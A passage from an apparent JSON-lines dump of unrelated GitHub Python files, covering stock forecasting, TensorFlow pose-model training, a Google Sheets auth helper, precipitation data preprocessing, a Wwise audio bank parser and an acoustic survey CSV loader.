wanted_pcrs:\n fh.write(next_pcrs[idx])\n","repo_name":"grawity/tpm_futurepcr","sub_path":"tpm_futurepcr/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":8576,"program_lang":"python","lang":"en","doc_type":"code","stars":32,"dataset":"github-code","pt":"76"} +{"seq_id":"9193001574","text":"import warnings\nimport itertools\nimport numpy as np\nimport matplotlib.pyplot as plt\nwarnings.filterwarnings(\"ignore\")\nplt.style.use('fivethirtyeight')\nimport pandas as pd\nimport statsmodels.api as sm\nimport matplotlib\nfrom google.cloud import bigquery as bq\n\nmatplotlib.rcParams['axes.labelsize'] = 14\nmatplotlib.rcParams['xtick.labelsize'] = 12\nmatplotlib.rcParams['ytick.labelsize'] = 12\nmatplotlib.rcParams['text.color'] = 'k'\n\nclient = bq.Client()\n\n\nfacebook_query= client.query(\"\"\"\n SELECT * FROM `tanta-stocks.facebook.facebook_data`\n \"\"\")\napple_query = client.query(\"\"\"\n SELECT * FROM `tanta-stocks.apple.apple_data`\n \"\"\")\namazon_query = client.query(\"\"\"\n SELECT * FROM `tanta-stocks.amazon.amazon_data`\n \"\"\")\nnokia_query = client.query(\"\"\"\n SELECT * FROM `tanta-stocks.nokia.nokia_data`\n \"\"\")\nintel_query = client.query(\"\"\"\n SELECT * FROM `tanta-stocks.intel.intel_data`\n \"\"\")\nmicrosoft_query = client.query(\"\"\"\n SELECT * FROM `tanta-stocks.microsoft.microsoft_data`\n \"\"\")\nNVIDIA_query = client.query(\"\"\"\n SELECT * FROM `tanta-stocks.NVIDIA.NVIDIA_data`\n \"\"\")\nAMD_query = client.query(\"\"\"\n SELECT * FROM `tanta-stocks.AMD.AMD_data`\n \"\"\")\ntwitter_query = client.query(\"\"\"\n SELECT * FROM `tanta-stocks.twitter.twitter_data`\n \"\"\")\ngoogle_query = client.query(\"\"\"\n SELECT * FROM `tanta-stocks.google.google_data`\n \"\"\")\ndatabase = [facebook_query, apple_query, amazon_query, nokia_query, intel_query, microsoft_query, NVIDIA_query, AMD_query, twitter_query, google_query]\nprediction_database = [\"facebook.facebook_monthly_prediction\", \"apple.apple_monthly_prediction\", \"amazon.amazon_monthly_prediction\", \"nokia.nokia_monthly_prediction\", \"intel.intel_monthly_prediction\", \"microsoft.microsoft_monthly_prediction\", \"NVIDIA.NVIDIA_monthly_prediction\", \"AMD.AMD_monthly_prediction\", \"twitter.twitter_monthly_prediction\", \"google.google_monthly_prediction\"]\n\nfor j in range(0,10):\n \n # Reading the data\n \n df = database[j].result().to_dataframe()\n stock = df\n \n stock['Date'].min()\n stock['Date'].max()\n \n stock.Date = pd.to_datetime(stock.Date, format='%Y%m%d', errors='ignore')\n \n cols = ['High', 'Low', 'Open', 'Volume', 'AdjClose']\n stock.drop(cols, axis=1, inplace=True)\n stock = stock.sort_values('Date')\n \n stock.isnull().sum()\n \n stock = stock.groupby('Date')['Close'].sum().reset_index()\n \n stock = stock.set_index('Date')\n stock.index\n \n #y = stock['Close'].resample('M').mean()\n stock.index = pd.to_datetime(stock.index)\n \n monthly_mean = stock.Close.resample('M').mean()\n \n \n \n from pylab import rcParams\n rcParams['figure.figsize'] = 18, 8\n \n decomposition = sm.tsa.seasonal_decompose(monthly_mean, model='additive')\n fig = decomposition.plot()\n plt.show()\n \n p = d = q = range(0, 2)\n pdq = list(itertools.product(p, d, q))\n seasonal_pdq = [(x[0], x[1], x[2], 12) for x in list(itertools.product(p, d, q))]\n \n print('Examples of parameter combinations for Seasonal ARIMA...')\n print('SARIMAX: {} x {}'.format(pdq[1], seasonal_pdq[1]))\n print('SARIMAX: {} x {}'.format(pdq[1], seasonal_pdq[2]))\n print('SARIMAX: {} x {}'.format(pdq[2], seasonal_pdq[3]))\n print('SARIMAX: {} x {}'.format(pdq[2], seasonal_pdq[4]))\n \n l_param = []\n l_param_seasonal=[]\n l_results_aic=[]\n for param in pdq:\n for param_seasonal in seasonal_pdq:\n try:\n mod = sm.tsa.statespace.SARIMAX(monthly_mean,\n order=param,\n seasonal_order=param_seasonal,\n enforce_stationarity=False,\n enforce_invertibility=False)\n \n results = mod.fit()\n \n print('ARIMA{}x{}12 - AIC:{}'.format(param, param_seasonal, results.aic))\n \n l_param.append(param)\n l_param_seasonal.append(param_seasonal)\n l_results_aic.append(results.aic)\n except:\n continue\n \n minimum=l_results_aic[0]\n for i in l_results_aic[1:]:\n if i < minimum: \n minimum = i\n i=l_results_aic.index(minimum)\n \n mod = sm.tsa.statespace.SARIMAX(monthly_mean,\n order=l_param[i],\n seasonal_order=l_param_seasonal[i],\n enforce_stationarity=False,\n enforce_invertibility=False)\n \n results = mod.fit()\n \n print(results.summary().tables[1])\n \n results.plot_diagnostics(figsize=(16, 8))\n plt.show()\n \n pred_uc = results.get_forecast(steps=100)\n pred_ci = pred_uc.conf_int()\n print(pred_uc.predicted_mean)\n \n \n prediction = pd.DataFrame(pred_uc.predicted_mean)\n prediction.reset_index(level=0, inplace=True)\n prediction.columns = ['Date', 'monthly_prediction']\n \n full_table_id = prediction_database[j]\n project_id = 'tanta-stocks'\n \n prediction.to_gbq(full_table_id, project_id=project_id, if_exists='replace')\n\n","repo_name":"tantastocks/Stock-Tweets","sub_path":"Prediction Using Historical Data Analysis/stock_prediction.py","file_name":"stock_prediction.py","file_ext":"py","file_size_in_byte":5239,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"76"} +{"seq_id":"1045599584","text":"# created by kenany@armoi.com\n\nimport model\nimport loadInput\nimport tensorflow as tf\nimport numpy as np\nimport os\n\ntrain_batch_size = 128\nvali_batch_size = 1000\n# learning_rate = 1E-4\n# Round_1_STEP = 1\nMAX_STEP = 10000\n\nvali_acc_highest = 0\n\nlogs_dir = '/Users/kenanyang/Desktop/Armoi/TF/logs'\nvali_logs_dir = '/Users/kenanyang/Desktop/Armoi/TF/logs/vali'\n\nfiles_dir = '/Users/kenanyang/Desktop/Armoi/lspet_dataset/new_images/'\n\nmark_dir = '/Users/kenanyang/Desktop/Armoi/lspet_dataset/joints_mark.mat'\nlabel_dir = '/Users/kenanyang/Desktop/Armoi/lspet_dataset/joints_label_positive.mat'\n\n# load data:\nl_d = loadInput.loadInput()\nlabels, marks = l_d.get_labels(mark_dir, label_dir)\nfile_dir = l_d.get_file_dir(files_dir)\n\n# separate data into three category\ntrain_image_dir, vali_image_dir, test_image_dir, \\\ntrain_label, vali_label, test_label, train_mark, \\\nvali_mark, test_mark = l_d.get_train_validation_test_set(file_dir, labels, marks)\n\nkeep_prop = tf.placeholder(tf.float32, name='prop')\nis_training = tf.placeholder(tf.bool, name='is_training')\nbatch_size = tf.placeholder(tf.int32, name='b_s')\nimage_batch = tf.placeholder(tf.float32, name='im_b')\nlabel_batch = tf.placeholder(tf.float32, name='l_b')\nmark_batch = tf.placeholder(tf.float32, name='m_b')\nlearning_rate = tf.placeholder(tf.float32, name='l_rate')\n\n\ndef run_model():\n # get training batch\n train_image_batch, train_label_batch, train_mark_batch = \\\n l_d.get_batch(train_image_dir, train_label, train_mark, train_batch_size)\n\n # put the data into network\n md = model.Model()\n # logits = md.inference(train_image_batch, batch_size, keep_prop=0.5, train_phase=True)\n # logits_xy,b1,b2,b3,b4,b5 = md.inference(train_image_batch, batch_size, keep_prop=0.5, train_phase=True)\n logits = md.inference(image_batch, batch_size, keep_prop, is_training)\n # calculate the loss\n loss = md.loss(logits, label_batch, mark_batch, batch_size)\n\n # calculate the accuracy\n acc = md.evaluate(logits, label_batch, mark_batch, batch_size)\n\n # do optimization\n train_op = md.training(loss, learning_rate=learning_rate)\n\n # collect all variables\n summary_op = tf.summary.merge_all()\n\n # get validation batch\n # l_d_v = loadInput.loadInput()\n # validation_image_batch, validation_label_batch, validation_mark_batch = \\\n # l_d_v.get_batch(vali_image_dir, vali_label, vali_mark, vali_batch_size)\n\n # Initialization and start running\n with tf.Session() as sess:\n # store varibles:\n train_writer = tf.summary.FileWriter(logs_dir, sess.graph)\n saver = tf.train.Saver(max_to_keep=3)\n # initialize the variables\n sess.run(tf.global_variables_initializer())\n\n vali_acc_highest = 0\n learn = 1E-3\n plateaus = 0\n\n vali_batch = l_d.get_validation_images(vali_image_dir)\n vali_value = {\n keep_prop: 1,\n is_training: False,\n batch_size: vali_batch_size,\n image_batch: vali_batch,\n label_batch: sess.run(vali_label),\n mark_batch: sess.run(vali_mark)\n }\n\n # initialize the queue threads to start to shovel data\n coord = tf.train.Coordinator()\n threads = tf.train.start_queue_runners(sess=sess, coord=coord)\n\n try:\n for step in np.arange(MAX_STEP):\n if coord.should_stop():\n break\n # _, tra_loss,bb1,bb2,bb3,bb4,bb5,_xy = sess.run([train_op, train_loss,b1,b2,b3,b4,b5,logits_xy])\n # _, tra_loss = sess.run([train_op, train_loss])\n ##########################\n #####start training#######\n train_value = {\n keep_prop: 0.8,\n is_training: True,\n batch_size: train_batch_size,\n image_batch: sess.run(train_image_batch),\n label_batch: sess.run(train_label_batch),\n mark_batch: sess.run(train_mark_batch),\n learning_rate: learn\n }\n _, tra_loss, tra_acc = sess.run([train_op, loss, acc], feed_dict=train_value)\n ##########################\n ##########################\n if step % 50 == 0:\n # tra_loss, tra_acc = sess.run([train_loss, train_acc])\n\n # vali_value = {\n # keep_prop: 1,\n # is_training: False,\n # batch_size: vali_batch_size,\n # image_batch: sess.run(validation_image_batch),\n # label_batch: sess.run(validation_label_batch),\n # mark_batch: sess.run(validation_mark_batch)\n # }\n # vali_acc = sess.run([acc], feed_dict=vali_value)\n print('Step %d, train loss = %.5f, train accuracy = %.5f' % (step, tra_loss, tra_acc))\n # print(_xy)\n # print(sess.run(b1))\n # print(sess.run(b2))\n # print(sess.run(b3))\n # print(sess.run(b4))\n # print(sess.run(b5))\n summary_str = sess.run(summary_op, feed_dict=train_value)\n train_writer.add_summary(summary_str, step)\n # checkpoint_path = os.path.join(logs_dir, 'model.ckpt')\n # # saver.save(sess, checkpoint_path, global_step=step)\n # saver.save(sess, checkpoint_path)\n\n if step % 500 == 0 or (step + 1) == MAX_STEP:\n vali_acc = sess.run(acc, feed_dict=vali_value)\n print('Step %d, validation accuracy = %.5f' % (step, vali_acc))\n # checkpoint_path = os.path.join(logs_dir, 'model.ckpt')\n # saver.save(sess, checkpoint_path, global_step=step)\n if vali_acc > vali_acc_highest:\n plateaus = 0\n print('updata logs')\n vali_acc_highest = vali_acc\n checkpoint_path = os.path.join(vali_logs_dir, 'model.ckpt')\n saver.save(sess, checkpoint_path, global_step=step)\n else:\n plateaus = plateaus + 1\n if plateaus == 2:\n plateaus = 0\n learn = learn / 10\n\n # acc = accuracy_evaluation(vali_image_dir, vali_label, vali_mark, batch_size)\n # print('validation accuracy: %.5f' % (acc))\n except tf.errors.OutOfRangeError:\n print('Done training -- epoch limit reached')\n finally:\n coord.request_stop()\n coord.join(threads)\n sess.close()\n\n\n# def keep_training():\n# sess = tf.Session()\n# graph_path = os.path.join(logs_dir, 'model.ckpt.meta')\n# saver = tf.train.import_meta_graph(graph_path)\n# ckpt = tf.train.get_checkpoint_state(logs_dir)\n# if ckpt and ckpt.model_checkpoint_path:\n# saver.restore(sess, ckpt.model_checkpoint_path)\n# else:\n# print('No checkpoint file found')\n# # saver.restore(sess, tf.train.latest_checkpoint('./checkpoint_dir'))\n# graph = tf.get_default_graph()\n# # logits = graph.get_operation_by_name('logits')\n# # calculate the loss\n# loss = graph.get_operation_by_name('loss/loss')\n#\n# # calculate the accuracy\n# acc = graph.get_operation_by_name('accuracy/accuracy')\n#\n# # do optimization\n# train_op = graph.get_operation_by_name('train/train')\n# del saver\n# sess.close()\n#\n# # collect all variables\n# summary_op = tf.summary.merge_all()\n# saver = tf.train.Saver()\n# with tf.Session() as sess:\n#\n#\n#\n# # keep training\n# # get training batch\n# train_image_batch, train_label_batch, train_mark_batch = \\\n# l_d.get_batch(train_image_dir, train_label, train_mark, train_batch_size)\n#\n#\n# # initialize the queue threads to start to shovel data\n# coord = tf.train.Coordinator()\n# threads = tf.train.start_queue_runners(sess=sess, coord=coord)\n# train_writer = tf.summary.FileWriter(logs_dir, sess.graph)\n# try:\n# for step in np.arange(MAX_STEP):\n# if coord.should_stop():\n# break\n# train_value = {\n# keep_prop: 0.5,\n# is_training: True,\n# batch_size: train_batch_size,\n# image_batch: sess.run(train_image_batch),\n# label_batch: sess.run(train_label_batch),\n# mark_batch: sess.run(train_mark_batch)\n# }\n# _, tra_loss, tra_acc = sess.run([train_op, loss, acc], feed_dict=train_value)\n#\n# if step % 1 == 0:\n# print('Step %d, train loss = %.5f, train accuracy = %.5f' % (step, tra_loss, tra_acc))\n#\n# summary_str = sess.run(summary_op, feed_dict=train_value)\n# train_writer.add_summary(summary_str, step)\n#\n# if step % 5000 == 0 or (step + 1) == MAX_STEP:\n# checkpoint_path = os.path.join(logs_dir, 'model.ckpt')\n# saver.save(sess, checkpoint_path, global_step=step, write_meta_graph=False)\n# except tf.errors.OutOfRangeError:\n# print('Done training -- epoch limit reached')\n# finally:\n# coord.request_stop()\n# coord.join(threads)\n# sess.close()\n\n\nrun_model()\n# keep_training()\n","repo_name":"KenanYangArmoi/jointsDetection","sub_path":"run.py","file_name":"run.py","file_ext":"py","file_size_in_byte":9661,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"76"} +{"seq_id":"6022277187","text":"from googleapiclient.discovery import build\nfrom httplib2 import Http\nfrom oauth2client import file, client, tools\n\ndef connect_to_api(credentials):\n\t\"\"\"\n\tReturns a sheets API service object given a valid credentials object\n\t\"\"\"\n\tservice = build('sheets', 'v4', http=credentials.authorize(Http()))\n\treturn service.spreadsheets()\n\ndef get_credentials(token,secret,scopes):\n\t\"\"\"\n\tGets credentials object given token file name,\n\tsecret file name, and scopes list/string\n\n\ttoken: path or path-like representing the path of a\n\tfile with token information\n\tsecret: path or path-like representing the path of a\n\tfile with the client secret and related information\n\tscopes: list/string for scopes\n\t\"\"\"\n\t# Try to get an existing token\n\tstore = file.Storage( token )\n\tcreds = store.get() # Get stored credentials\n\n\t# There's no token!\n\tif not creds or creds.invalid:\n\t\t# Create Flow object\n\t flow = client.flow_from_clientsecrets(secret, scopes)\n\n\t\t# Get credentials\n\t creds = tools.run_flow(flow, store)\n\treturn creds\n","repo_name":"a2liu/gsheetz","sub_path":"gsheetz/connection.py","file_name":"connection.py","file_ext":"py","file_size_in_byte":1015,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"76"} +{"seq_id":"23321430404","text":"import pickle\r\nimport nltk\r\n\r\ncolls = [\"artstor\",\"biodiv\",\"rumsey\",\"commonwealth\",\"georgia\",\"harvard\",\r\n \"ia\",\"getty\",\"kentucky\",\"minnesota\",\"missouri\",\"mwdl\",\r\n \"nara\",\"nocar\",\"smiths\",\"socar\",\"texas\",\"gpo\",\"illinois\",\"usc\",\"virginia\",\"nocoll\"]\r\n\r\nfd = pickle.load( open( \"/media/storage/dpla-data/pickles/new\"+coll+\"_fd.p\", \"rb\" ) )\r\n\r\nfor c in colls:\r\n fd = pickle.load( open( \"/media/storage/dpla-data/pickles/new\"+coll+\"_fd.p\", \"rb\" ) )\r\n print(\"\\nBuilding FD for \" + c)\r\n fd = nltk.FreqDist((token) for token in c)\r\n","repo_name":"chrpr/dpla-analytics","sub_path":"nltk/freqdist.py","file_name":"freqdist.py","file_ext":"py","file_size_in_byte":545,"program_lang":"python","lang":"en","doc_type":"code","stars":11,"dataset":"github-code","pt":"76"} +{"seq_id":"71953636725","text":"import sys\nm = sys.stdin.readline\n\ncase = int(m())\n\ndef get_top(name):\n if friend[name] == name:\n return name\n \n else:\n n = get_top(friend[name])\n friend[name] = n\n return friend[n]\n\ndef union(f1, f2):\n new_f1, new_f2 = get_top(f1), get_top(f2)\n if new_f1 != new_f2:\n friend[new_f2] = new_f1\n f_size[new_f1] += f_size[new_f2]\n\nanswer = []\nfor _ in range(case):\n f_num = int(m())\n f_info = [list(map(str, m().split())) for _ in range(f_num)]\n friend, f_size = {}, {}\n \n for f1, f2 in f_info:\n if f1 not in friend:\n friend[f1] = f1\n f_size[f1] = 1\n \n if f2 not in friend:\n friend[f2] = f2\n f_size[f2] = 1\n \n union(f1, f2)\n \n print(f_size[get_top(f1)])\n","repo_name":"Chunws13/Study","sub_path":"data_structure/4195.py","file_name":"4195.py","file_ext":"py","file_size_in_byte":819,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"76"} +{"seq_id":"74636576886","text":"### Package Import\nimport sys\nimport os\nbase_dir = os.environ['GEMS_HOME']\nproject_path = os.path.join(base_dir, 'python-refactor')\nsys.path.insert(0, project_path)\nfrom Code.utils import matlab\n\nimport numpy as np\nimport glob\nimport copy\nimport time\n\n### Setting path\ndata_base_dir = os.path.join('/data2', 'sehyun', 'Data')\npath_gpm_raw = os.path.join(data_base_dir, 'Raw', 'GPM', '3IMERGHH') \npath_gpm_processed = os.path.join(data_base_dir, 'Preprocessed_raw', 'GPM', 'AP_24h_hourly')\n\nYEARS = [2016]\nfor yr in YEARS:\n list_gpm = glob.glob(os.path.join(path_gpm_raw, str(yr), '*/*.HDF5'))\n list_gpm.sort()\n doy0 = matlab.datenum(str(yr-1)+'1231')\n # First day UTC 00\n list_temp = list_gpm[:48]\n \n size = (1800, 3600, 48)\n gpm = np.zeros(size)\n doy = matlab.datenum(os.path.basename(list_temp[0])[21:29])-doy0+1\n print (f'doy: {doy}')\n for j, fname in enumerate(list_temp[:48]):\n gpm_temp = matlab.h5read(fname, '/Grid/precipitationCal')\n gpm_temp = np.float64(gpm_temp)\n gpm_temp[gpm_temp<-9999] = np.nan\n gpm[:,:,j] += gpm_temp\n\n precip = np.nansum(gpm, axis=2)\n precip *= 0.5\n ap_fname = os.path.join(path_gpm_processed, str(yr), f'gpm_AP_{yr}_{doy:03d}_UTC00.mat')\n print (f'Saving ... {ap_fname}')\n matlab.savemat(ap_fname, {'precip':precip})\n\n #for aa in range(2, len(list_gpm), 2):\n for aa in range(2, len(list_gpm)-48+1, 2):\n tStart = time.time()\n gpm[:, :, 0:46] = gpm[:, :, 2:]\n gpm[:, :, -1] = 0\n gpm[:, :, -2] = 0\n\n #list_temp = list_gpm[aa:aa+2]\n list_temp = list_gpm[aa+45:aa+48]\n doy = matlab.datenum(os.path.basename(list_gpm[aa])[21:29])-doy0+1\n UTC = os.path.basename(list_gpm[aa])[31:33]\n for j in range(2):\n print (f'Reading ... {list_temp[j]}')\n gpm_temp = matlab.h5read(list_temp[j], '/Grid/precipitationCal')\n gpm_temp = np.float64(gpm_temp)\n gpm_temp[gpm_temp<-9999] = np.nan\n gpm[:, :, 46+j] = gpm_temp\n \n precip = np.nansum(gpm, axis=2)\n precip *= 0.5\n ap_fname = os.path.join(path_gpm_processed, str(yr), f'gpm_AP_{yr}_{doy:03d}_UTC{UTC}.mat')\n print (f'Saving ... {ap_fname}')\n matlab.savemat(ap_fname, {'precip':precip})\n tElapsed = time.time() - tStart\n print (f'time taken : {tElapsed}')\n print (yr)\n","repo_name":"cogito288/GEMS_python","sub_path":"python-refactor/Code/pre_01_raw/GPM_01_AP_UTC.py","file_name":"GPM_01_AP_UTC.py","file_ext":"py","file_size_in_byte":2392,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"76"} +{"seq_id":"17125652856","text":"# -*- coding: utf-8 -*-\n# @Author : Virace\n# @Email : Virace@aliyun.com\n# @Site : x-item.com\n# @Software: PyCharm\n# @Create : 2021/3/1 21:09\n# @Update : 2022/8/25 21:59\n# @Detail : Wwise bnk文件, Data块\n\n\nfrom typing import List\n\nfrom lol_voice.base import SectionNoIdBNK, WemFile\n\n\nclass DATA(SectionNoIdBNK):\n \"\"\"\n The DATA section contains the .wem files, not encoded, and immediately following each other.\n It is not recommended to read this section by itself\n but instead to immediately jump to the correct position based on the offset given in the DIDX or HIRC section.\n\n 44 41 54 41 -- DATA\n uint32: length of section\n FOR EACH (embedded .wem file) {\n byte[]: the .wem file with the length as given in the DIDX section, and starting with 52 49 46 46 -- RIFF.\n } END FOR\n \"\"\"\n\n def get_files(self, files: List[WemFile]):\n # res = []\n for item in files:\n self._data.seek(item.offset, 0)\n item.data = self._data.bytes(item.length)\n # res.append(\n # WemFile(\n # **item.__dict__(),\n # data=self._data.bytes(item.length)\n # )\n # )\n return files\n\n def __repr__(self):\n return f'Data Length: {self._data.end}'\n","repo_name":"Virace/py-bnk-extract","sub_path":"lol_voice/formats/section/DATA.py","file_name":"DATA.py","file_ext":"py","file_size_in_byte":1313,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"76"} +{"seq_id":"71985123126","text":"import csv\nimport datetime\nimport os\nimport textwrap\nimport warnings\nfrom collections import OrderedDict\n\nimport numpy as np\nimport pandas as pd\nimport scipy.interpolate\nimport scipy.ndimage\nimport skimage.measure\n\nfrom ..ui import style\nfrom . import utils\n\nROOT_DATA_DIR = \"/data/dsforce/surveyExports\"\n\nTRANSECT_FIELD_TYPES = {\n \"Ping_index\": int,\n \"Distance_gps\": float,\n \"Distance_vl\": float,\n \"Ping_date\": str,\n \"Ping_time\": str,\n \"Ping_milliseconds\": float,\n \"Latitude\": float,\n \"Longitude\": float,\n \"Depth_start\": float,\n \"Depth_stop\": float,\n \"Range_start\": float,\n \"Range_stop\": float,\n \"Sample_count\": int,\n}\n\n\ndef transect_reader(fname):\n \"\"\"\n Create a generator which iterates through a survey csv file.\n\n Parameters\n ----------\n fname: str\n Path to survey CSV file.\n\n Returns\n -------\n generator\n Yields a tupule of `(metadata, data)`, where metadata is a dict,\n and data is a :class:`numpy.ndarray`. Each yield corresponds to a single\n row in the data. Every row (except for the header) is yielded.\n \"\"\"\n metadata_header = []\n with open(fname, \"rb\") as hf:\n for i_row, row in enumerate(hf):\n try:\n row = row.decode(\"utf-8-sig\" if i_row == 0 else \"utf-8\")\n except Exception:\n if i_row == 0:\n raise\n print(\n \"Row {} of {} contained a byte which is not in UTF-8\"\n \" and will be skipped.\".format(i_row, fname)\n )\n continue\n row = row.split(\",\")\n row = [entry.strip() for entry in row]\n if i_row == 0:\n metadata_header = row\n continue\n metadata = row[: len(metadata_header)]\n metadata_d = OrderedDict()\n for k, v in zip(metadata_header, metadata):\n if k in TRANSECT_FIELD_TYPES:\n metadata_d[k] = TRANSECT_FIELD_TYPES[k](v)\n else:\n metadata_d[k] = v\n data = np.array([float(x) for x in row[len(metadata_header) :]])\n yield metadata_d, data\n\n\ndef count_lines(filename):\n \"\"\"\n Count the number of lines in a file.\n\n Parameters\n ----------\n filename : str\n Path to file.\n\n Returns\n -------\n int\n Number of lines in file.\n \"\"\"\n with open(filename, \"rb\") as f:\n for _i, _ in enumerate(f):\n pass\n return _i + 1\n\n\ndef transect_loader(\n fname,\n skip_lines=0,\n warn_row_overflow=None,\n row_len_selector=\"mode\",\n):\n \"\"\"\n Load an entire survey transect CSV.\n\n Parameters\n ----------\n fname : str\n Path to survey CSV file.\n skip_lines : int, optional\n Number of initial entries to skip. Default is 0.\n warn_row_overflow : bool or int, optional\n Whether to print a warning message if the number of elements in a\n row exceeds the expected number. If this is an int, this is the number\n of times to display the warnings before they are supressed. If this\n is ``True``, the number of outputs is unlimited. If ``None``, the\n maximum number of underflow and overflow warnings differ: if\n ``row_len_selector`` is ``\"init\"`` or ``\"min\"``, underflow always produces a\n message and the overflow messages stop at 2; otherwise the values are\n reversed. Default is ``None``.\n row_len_selector : {\"init\", \"min\", \"max\", \"median\", \"mode\"}, optional\n The method used to determine which row length (number of depth samples)\n to use. Default is ``\"mode\"``, the most common row length across all\n the measurement timepoints.\n\n Returns\n -------\n numpy.ndarray\n Timestamps for each row, in seconds. Note: not corrected for timezone\n (so make sure your timezones are internally consistent).\n numpy.ndarray\n Depth of each column, in metres.\n numpy.ndarray\n Survey signal (Sv, for instance). Units match that of the file.\n \"\"\"\n row_len_selector = row_len_selector.lower()\n if row_len_selector in {\"init\", \"min\"}:\n expand_for_overflow = False\n else:\n expand_for_overflow = True\n\n if warn_row_overflow is True:\n warn_row_overflow = np.inf\n\n if warn_row_overflow is not None:\n warn_row_underflow = warn_row_overflow\n elif expand_for_overflow:\n warn_row_underflow = 2\n warn_row_overflow = np.inf\n else:\n warn_row_underflow = np.inf\n warn_row_overflow = 2\n\n # We remove one from the line count because of the header\n # which is excluded from output\n n_lines = count_lines(fname) - 1\n\n # Initialise output array\n for i_line, (_, row) in enumerate(transect_reader(fname)):\n if i_line < min(n_lines, max(1, skip_lines)):\n continue\n n_depths_init = len(row)\n break\n\n n_depth_exp = n_depths_init\n\n data = np.empty((n_lines - skip_lines, n_depth_exp))\n data[:] = np.nan\n timestamps = np.empty((n_lines - skip_lines))\n timestamps[:] = np.nan\n\n row_lengths = np.empty((n_lines - skip_lines), dtype=np.int)\n row_depth_starts = np.empty((n_lines - skip_lines))\n row_depth_ends = np.empty((n_lines - skip_lines))\n\n n_warn_overflow = 0\n n_warn_underflow = 0\n\n n_entry = 0\n for i_line, (meta, row) in enumerate(transect_reader(fname)):\n if i_line < skip_lines:\n continue\n i_entry = i_line - skip_lines\n\n # Track the range of depths used in the row with this length\n row_lengths[i_entry] = len(row)\n row_depth_starts[i_entry] = meta[\"Depth_start\"]\n row_depth_ends[i_entry] = meta[\"Depth_stop\"]\n\n if len(row) > n_depth_exp:\n if n_warn_overflow < warn_row_overflow:\n print(\n \"Row {} of {} exceeds expected n_depth of {} with {}\".format(\n i_line, fname, n_depth_exp, len(row)\n )\n )\n n_warn_overflow += 1\n if expand_for_overflow:\n data = np.pad(\n data,\n ((0, 0), (0, len(row) - n_depth_exp)),\n mode=\"constant\",\n constant_values=np.nan,\n )\n n_depth_exp = len(row)\n\n if len(row) < n_depth_exp:\n if n_warn_underflow < warn_row_underflow:\n print(\n \"Row {} of {} shorter than expected n_depth_exp of {} with {}\".format(\n i_line, fname, n_depth_exp, len(row)\n )\n )\n n_warn_underflow += 1\n data[i_entry, : len(row)] = row\n else:\n data[i_entry, :] = row[:n_depth_exp]\n\n timestamps[i_entry] = datetime.datetime.strptime(\n \"{}T{}.{:06d}\".format(\n meta[\"Ping_date\"],\n meta[\"Ping_time\"],\n int(1000 * float(meta[\"Ping_milliseconds\"])),\n ),\n \"%Y-%m-%dT%H:%M:%S.%f\",\n ).timestamp()\n n_entry += 1\n\n # Turn NaNs into NaNs (instead of extremely negative number)\n with warnings.catch_warnings():\n warnings.filterwarnings(\"ignore\", \"invalid value encountered in less\")\n warnings.filterwarnings(\"ignore\", \"invalid value encountered in greater\")\n # 9.9e+37 and -9.9e+37 are special values indicating missing data\n # https://support.echoview.com/WebHelp/Reference/File_formats/Export_file_formats/Special_Export_Values.htm\n data[data < -1e37] = np.nan\n data[data > 1e37] = np.nan\n\n # Trim timestamps dimension down to size\n timestamps = timestamps[:n_entry]\n data = data[:n_entry]\n row_lengths = row_lengths[:n_entry]\n row_depth_starts = row_depth_starts[:n_entry]\n row_depth_ends = row_depth_ends[:n_entry]\n\n # Work out what row length we should return\n if row_len_selector == \"init\":\n n_depth_use = n_depths_init\n elif row_len_selector == \"min\":\n n_depth_use = np.min(row_lengths)\n elif row_len_selector == \"max\":\n n_depth_use = np.max(row_lengths)\n elif row_len_selector == \"median\":\n n_depth_use = np.median(row_lengths)\n # If the median is half-way between two values, round up\n if n_depth_use not in row_depth_starts:\n n_depth_use = int(np.round(n_depth_use))\n # If the median is still not between values, drop the last value\n # to make the array be odd, guaranteeing the median is an observed\n # value, not an intermediary.\n if n_depth_use not in row_depth_starts:\n n_depth_use = np.median(row_lengths[:-1])\n elif row_len_selector == \"mode\":\n n_depth_use = utils.mode(row_lengths)\n else:\n raise ValueError(\n \"Unsupported row_len_selector value: {}\".format(row_len_selector)\n )\n\n # Use depths corresponding to that declared in the rows which had the\n # number of entries used.\n if row_len_selector == \"median\":\n d_start = np.median(row_depth_starts[row_lengths == n_depth_use])\n d_stop = np.median(row_depth_ends[row_lengths == n_depth_use])\n else:\n d_start = utils.mode(row_depth_starts[row_lengths == n_depth_use])\n d_stop = utils.mode(row_depth_ends[row_lengths == n_depth_use])\n depths = np.linspace(d_start, d_stop, n_depth_use)\n\n # Interpolate depths to get a consistent sampling grid\n interp_kwargs = dict(nan_threshold=0.3, assume_sorted=True)\n for i_entry, (nd, d0, d1) in enumerate(\n zip(row_lengths, row_depth_starts, row_depth_ends)\n ):\n if d0 < d1:\n data[i_entry, :n_depth_use] = utils.interp1d_preserve_nan(\n np.linspace(d0, d1, nd),\n data[i_entry, :nd],\n depths,\n **interp_kwargs,\n )\n else:\n data[i_entry, :n_depth_use] = utils.interp1d_preserve_nan(\n np.linspace(d1, d0, nd),\n data[i_entry, :nd][::-1],\n depths,\n **interp_kwargs,\n )\n\n # Crop the data down to size\n data = data[:, :n_depth_use]\n\n return timestamps, depths, data\n\n\ndef evl_reader(fname):\n \"\"\"\n EVL file reader.\n\n Parameters\n ----------\n fname : str\n Path to .evl file.\n\n Returns\n -------\n generator\n A generator which yields the timestamp (in seconds), depth (in\n metres), and status (int) for each entry. Note that the timestamp is\n not corrected for timezone (so make sure your timezones are internally\n consistent).\n \"\"\"\n with open(fname, \"r\") as hf:\n continuance = True\n for i_row, row in enumerate(csv.reader(hf, delimiter=\" \")):\n if i_row == 0:\n continue\n if len(row) < 4:\n if not continuance:\n raise ValueError(\"Trying to skip data after parsing began\")\n continue\n continuance = False\n\n timestamp = evdtstr2timestamp(row[0], row[1])\n\n if len(row[2]) > 0:\n raise ValueError(\"row[2] was non-empty: {}\".format(row[2]))\n\n yield timestamp, float(row[3]), int(row[4])\n\n\ndef evl_loader(fname, special_to_nan=True, return_status=False):\n \"\"\"\n EVL file loader.\n\n Parameters\n 